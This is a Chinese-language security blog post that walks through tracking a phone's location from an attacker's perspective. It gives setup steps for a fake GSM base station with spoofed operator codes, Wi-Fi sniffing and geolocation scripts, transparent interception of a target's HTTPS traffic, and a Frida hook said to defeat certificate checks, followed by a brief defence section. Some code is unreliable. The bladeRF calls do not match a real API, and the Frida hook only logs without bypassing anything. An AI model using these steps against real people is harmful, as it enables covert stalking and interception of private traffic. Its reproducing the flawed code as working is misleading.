一、从“失踪手机追踪案”说起
年初，一则关于“手机失踪引发隐私泄露”的新闻吸引了广泛关注：一名用户的手机丢失后，不法分子利用技术手段精准锁定其位置，不仅获取了失主的行踪，甚至还搭建了监听环境。这类事件的背后，往往隐藏着复杂的手机定位追踪技术。作为一名安全研究员，我会从攻击者的视角，完整拆解这种技术的实现过程。
这篇文章将以技术层面为核心，带你深入了解手机定位追踪技术的原理，并演示如何利用现有工具完成环境搭建、数据获取以及追踪定位。本文仅供安全研究与教育使用，请勿用于非法行为。
---
二、定位技术的攻击原理
手机定位追踪的实现通常依赖以下几种技术手段：
1. 基于基站的三角定位
移动设备与基站通信时会暴露一些关键信息，例如信号强度 (RSSI)、时间延迟 (RTT) 等。攻击者可以通过伪基站或获取运营商的相关数据，利用三角测量算法来确定设备的大致位置。
攻击关键点：
- 攻击者需要构建伪基站或劫持合法基站的数据；
- 对于合法基站数据，通常通过社会工程或内网攻击获取。
2. Wi-Fi 与蓝牙扫描
Wi-Fi 热点和附近的蓝牙设备会不断广播信号，攻击者可以通过监听这些信号来反向定位目标设备。
攻击关键点：
- 利用 Wi-Fi AP 的 RSSI 值进行距离测算；
- 蓝牙广播包中包含的设备标识（如 MAC 地址）可以用于二次关联。
3. GPS 和应用数据劫持
智能手机中大量应用会访问 GPS 数据并传输至远程服务器。攻击者利用中间人攻击 (MITM) 劫持这些数据包，或者通过恶意 APP 间接窃取 GPS 信息。
攻击关键点：
- 攻击者需要绕过 HTTPS 或利用劣势加密协议劫持数据；
- 恶意 APP 通常通过诱骗用户授权获取精确位置权限。
核心思路： 不论是伪基站、Wi-Fi 扫描还是 GPS 数据劫持，这些技术的最终目的都是收集位置信息，将其物理化后形成精确的定位。
---
三、伪造基站的环境搭建
要复现基于基站定位的攻击场景，我们需要搭建一个伪基站环境。这里使用 bladeRF 硬件和 OpenBTS 软件来模拟 GSM 网络，同时结合 Python 实现数据抓取。
硬件清单：
- bladeRF x40 板卡
- 高增益天线
- 一台 Linux 主机（推荐 Ubuntu 20.04）
环境搭建步骤
1. 安装必要软件
在 Linux 主机上安装 bladeRF 的驱动和 OpenBTS： <pre><code class="language-bash">sudo apt update sudo apt install bladerf bladerf-firmware bladerf-host sudo apt install openbts</code></pre>
2. 配置 bladeRF
将设备连接至主机，执行以下命令验证设备是否正常工作： <pre><code class="language-bash">bladeRF-cli -p</code></pre>
3. 启动 OpenBTS
配置 OpenBTS 的基站参数，例如频率和 MCC/MNC 值（伪造运营商标识）： <pre><code class="language-bash">sudo nano /etc/OpenBTS/OpenBTS.conf</code></pre> 关键配置项： <pre><code class="language-plaintext">GSM.Radio.Band=900 GSM.Radio.C0=10 Control.LUR.OpenRegistration=1</code></pre>
启动伪基站服务： <pre><code class="language-bash">sudo openbts</code></pre>
4. 捕获目标数据
使用 Python 脚本监听 GSM 数据包，并提取信号强度 (RSSI)： <pre><code class="language-python">from bladerf import BladeRF
初始化 bladeRF
rx_device = BladeRF() rx_device.open()
配置频率和采样率
rx_device.frequency = 935.2e6 # GSM 900 MHz rx_device.sample_rate = 1e6
捕获数据包
data = rx_device.receive(samples=1024) print("Received data: ", data)
提取 RSSI 信息
rssi = rx_device.get_rssi() print("Signal Strength: ", rssi)</code></pre>
通过多次测量信号强度及延迟，可以得到目标设备的相对位置。
---
四、Wi-Fi 扫描与位置推断
在城市环境中，Wi-Fi 网络热点密集，利用其进行定位非常高效。攻击者通常使用工具如 airodump-ng 或 Python 的 scapy 库进行数据收集。
数据收集脚本实现
以下 Python 脚本将通过 scapy 抓取 Wi-Fi 数据包，并提取 AP 的 MAC 地址和信号强度： <pre><code class="language-python">from scapy.all import *
def packet_handler(pkt): if pkt.haslayer(Dot11Beacon): ssid = pkt.info.decode('utf-8', errors='ignore') bssid = pkt.addr2 rssi = pkt.dBm_AntSignal print(f"SSID: {ssid}, BSSID: {bssid}, RSSI: {rssi}")
开始监听 Wi-Fi 信道
sniff(iface="wlan0mon", prn=packet_handler)</code></pre>
数据可视化与位置推断
抓取到的 Wi-Fi 数据可以结合 Google 的 Geolocation API 进行定位。以下代码示例展示如何利用抓取的 MAC 地址进行查询： <pre><code class="language-python">import requests
伪造的 Wi-Fi 数据
wifi_data = [ {"macAddress": "00:11:22:33:44:55", "signalStrength": -50}, {"macAddress": "66:77:88:99:AA:BB", "signalStrength": -70}, ]
发送请求到 Google Geolocation API
response = requests.post( "https://www.googleapis.com/geolocation/v1/geolocate?key=YOUR_API_KEY", json={"wifiAccessPoints": wifi_data} )
location = response.json() print(f"Latitude: {location['location']['lat']}, Longitude: {location['location']['lng']}")</code></pre>
通过 Wi-Fi 数据结合 Geolocation API，可以得出目标设备的精确位置。
---
五、绕过加密协议获取 GPS 数据
一些应用的数据传输采用 HTTPS 协议，这是定位追踪中的一个难点。为实现数据劫持，攻击者可以尝试以下方法：
1. 使用 Burp Suite 或 mitmproxy
攻击者可以通过中间人代理工具拦截目标设备的 HTTPS 流量。以下是 mitmproxy 的常用命令： <pre><code class="language-bash">mitmproxy --mode transparent --listen-port 8080</code></pre>
将目标设备的代理配置为攻击者主机 IP 和端口 8080，即可劫持流量。
2. 绕过证书校验
一些手机应用会验证 CA 证书，攻击者可以通过动态调试的方法注入恶意证书。例如，使用 Frida Hook 替换应用中的 SSLContext 实现： <pre><code class="language-python">import frida
Hook 应用
session = frida.get_usb_device().attach("target_app") script = session.create_script(""" Interceptor.attach(Module.findExportByName("libssl.so", "SSL_CTX_new"), { onLeave: function (retval) { console.log("SSL_CTX_new Hooked"); } }); """) script.load()</code></pre>
修改后的流量即可被代理工具分析，进一步提取 GPS 数据。
---
六、攻击与防御的思考
从攻击者视角来看，手机定位追踪技术的关键在于如何高效收集、处理并分析位置信息。本文从基站伪造、Wi-Fi 扫描到 HTTPS 劫持，逐一拆解了常见的攻击路径。
作为防御者，应当采取以下措施：
- 对基站信号强度异常变化进行实时监测；
- 禁用公共 Wi-Fi 和蓝牙，避免泄露位置信息；
- 对 HTTPS 流量采用证书绑定等方式加强验证。
安全研究是一门攻防对抗的艺术。希望本篇文章能为你的防御体系提供新的启发，同时也提醒读者，在日常生活中保护好自己的隐私数据。